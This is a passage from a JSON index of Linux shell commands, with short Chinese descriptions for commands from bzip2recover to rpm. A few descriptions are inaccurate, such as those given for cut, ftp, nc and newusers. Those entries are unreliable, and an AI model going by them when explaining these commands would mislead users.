":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"comm":{"n":"comm","p":"/comm","d":"按行比较两个已排序的文件。"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"continue":{"n":"continue","p":"/continue","d":"结束本次循环，继续执行下一个for，while或until循环。"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明变量，设置或显示变量的值和属性。"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录堆栈。"},"disown":{"n":"disown","p":"/disown","d":"从当前的shell中移除作业。"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或禁用shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell。"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"为shell变量或函数设置导出属性。"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"false":{"n":"false","p":"/false","d":"返回状态为失败。"},"fc":{"n":"fc","p":"/fc","d":"显示历史列表中的命令或修改指定的历史命令并执行。"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业移动到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"fping":{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"打印指定用户所在组的名称。"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"显示文件的开头部分。"},"help":{"n":"help","p":"/help","d":"该命令是bash内建命令，用于显示bash内建命令的帮助信息。"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"显示或操作历史列表。"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"显示当前主机的十六进制数字标识。"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hostnamectl":{"n":"hostnamectl","p":"/hostnamectl","d":"查询或更改系统主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"打印真实以及有效的用户和所在组的信息"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量"},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示作业的状态。"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"jq":{"n":"jq","p":"/jq","d":"一个灵活的轻量级命令行JSON处理器"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"发送信号到进程。"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器，执行算术表达式。"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"local":{"n":"local","p":"/local","d":"在函数内定义局部变量。"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"打印当前终端登录用户的名称。"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"系统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"mapfile":{"n":"mapfile","p":"/mapfile","d":"从标准输入读取行并赋值到数组。"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"用于设置路由器，是网络工具中的瑞士军刀。"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"改变程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"为每一个文件添加行号。"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nproc":{"n":"nproc","p":"/nproc","d":"打印可用的处理器单元数量。"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID（PID）"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"从目录堆栈中删除目录。"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果。"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录添加到目录堆栈顶部。"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"显示当前工作目录的绝对路径。"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"标记shell变量或函数为只读"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"return":{"n":"return","p":"/return","d":"从函数中退出并返回数值。"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"远程执行Linux系统下命令"},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"r